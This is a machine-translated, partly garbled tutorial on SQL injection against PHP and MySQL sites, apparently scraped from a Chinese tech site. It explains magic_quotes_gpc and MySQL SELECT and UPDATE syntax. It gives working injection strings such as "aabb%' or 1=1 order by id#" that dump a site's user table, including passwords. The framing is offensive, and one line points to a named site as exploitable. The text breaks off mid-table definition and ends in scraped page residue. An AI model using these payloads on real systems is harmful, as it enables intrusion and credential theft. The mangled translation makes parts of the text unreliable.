PHP Injection _php Tutorial

This article is mainly for the side dishes, if you are already a veteran, perhaps some things will feel more boring, but as long as you look carefully, you will find a lot of interesting things oh.

Read this article and you just have to understand that the following is enough.

1. Understand how the PHP+MYSQL environment is built.
2. About PHP and Apache configuration, mainly used in php.ini and httpd.conf
The main use of this article is the php.ini configuration. In order to be safe, we usually open the php.ini safe mode, that is, let Safe_mode = ON, and one is to return PHP execution error display_errors which will return a lot of useful information, so we should close it,
The message that the PHP function executes the error will no longer be displayed to the user after the Display_errors=off shutdown error is displayed.
In the PHP configuration file php.ini also has a very important configuration option MAGIC_QUOTES_GPC, the high version of the default is Magic_quotes_gpc=on, only in the original antique-level PHP
The default configuration is Magic_quotes_gpc=off, but the antique stuff is also used by someone!
When php.ini in the magic_quotes_gpc=on of the time will be what happens, do not panic, the sky is not falling down! It simply puts all of the ' (single quotes), ' (double quotes), \ (backslash) and null characters in the submitted variable into an escape character that has a backslash, such as ' turn ' into \ ' and turn \ into \.
This is the point, let us very uncomfortable oh, many times we have to say byebye the character type,
But don't be discouraged, we still have a good way to deal with it, look down!
3. There is a certain base of PHP language and understand some SQL statements, these are very simple, we use a few things, so recharge and oh!

Let's see what we can do when we look at Magic_quotes_gpc=off, and then we'll figure out a way to magic_quotes_gpc=on the situation, huh?

One: Magic_quotes_gpc=off when the injection

ref= "Http://hackbase.com/hacker" target=_blank> attack
Although the situation of Magic_quotes_gpc=off is very unsafe, the new version defaults to
Magic_quotes_gpc=on, but in many servers we also found Magic_quotes_gpc=off, such as www.qichi.*.
There are some programs like VBB forum even if you configure Magic_quotes_gpc=on, it will also automatically eliminate the escape character so that we can take advantage, so say
The injection of Magic_quotes_gpc=off is still a big market.

Below we will explain the mysql+php injection in detail from the syntax, injection point and injection type.

A: from MySQL syntax first
1. First of all, some basic MySQL grammar, is to give no good study of children, OH ~_~
1) Select
SELECT [Straight_join] [Sql_small_result]
Select_expression,...
[Into {OUTFILE | DumpFile} ' file_name ' export_options]
[From Table_references
[WHERE Where_definition]
[GROUP by Col_name,...]
[ORDER by {Unsigned_integer | col_name | formula} [ASC | DESC],...] ; ]
This is commonly used, select_expression refers to the column you want to retrieve, we can use where to restrict the condition, and we can use into outfile to output the select result to a file. Of course, we can also use Select Direct output
For example

Mysql> select ' A ';
+---+
| A |
+---+
| A |
+---+
1 row in Set (0.00 sec)
For details, please see MySQL Chinese manual section 7.12
Here's some exploits.
Look at the code first
This code is for search.
.........
SELECT * from the users WHERE username like '% $search% ' ORDER by username
.......
?>

Here we by the way the wildcard characters in MySQL, '% ' is the wildcard, the other wildcard characters are ' * ' and ' _ ', where "*" is used to match the field name, and "%" is used to match the field value, note that the% must be applied with the like, there is a wildcard character, is the underscore "_", It represents a different meaning from the above, and is used to match any single character. In the above code we use the ' * ' to indicate all the field names returned,% $search% for all content that contains $search characters.

How do we inject the miles?
Haha, very similar to ASP.
Submitted in table dropdowns
aabb% ' or 1=1 order by id#
Note: #在mysql中表示注释的意思, let the subsequent SQL statements not execute, will be discussed later.
Maybe someone will ask why we should use or 1=1, see below,

Bringing the submitted content into the SQL statement becomes

SELECT * from the users WHERE username like '%aabb% ' or 1=1 order by id# ORDER by username

If there is no user name with AABB, then or 1=1 the return value is true so that all values can be returned

We can still do this.

Submitted in table dropdowns
% ' ORDER by id#
Or
' ORDER by id#
Brought into the SQL statement.
SELECT * from the users WHERE username like '% ' of order by id# ORDER by username
And
SELECT * from the users WHERE username like '% ' order by id# ORDER by username
Of course, the contents are all returned.
List all users yo, maybe even the password are out of the mile.
Here's an example of a more refined SELECT statement, and select is virtually ubiquitous.
2) See update below
This is explained in the MySQL Chinese manual:
UPDATE [low_priority] tbl_name SET col_name1=expr1,col_name2=expr2,...
[WHERE Where_definition]
Update updates the columns of rows in the existing table with new values, the SET clause indicates which columns are to be modified and they should be given the value, where clause, if given, specifies which row should be updated, otherwise all rows are updated.
Detailed content to see the MySQL Chinese manual 7.17, the detailed introduction here will be very wordy oh.
Since the update is mainly used for data updates, such as the revision of the article, user data modification, we seem to be more concerned about the latter, because ...
Look at the code, first.
Let's start with the structure of the table so that everyone can see
CREATE TABLE Users (
ID Int (TEN) not NULL auto

http://www.bkjia.com/PHPjc/629770.html www.bkjia.com true http://www.bkjia.com/PHPjc/629770.html techarticle This article is mainly for the side dishes, if you are already a veteran, perhaps some things will feel more boring, but as long as you look carefully, you will find a lot of interesting things oh. ...

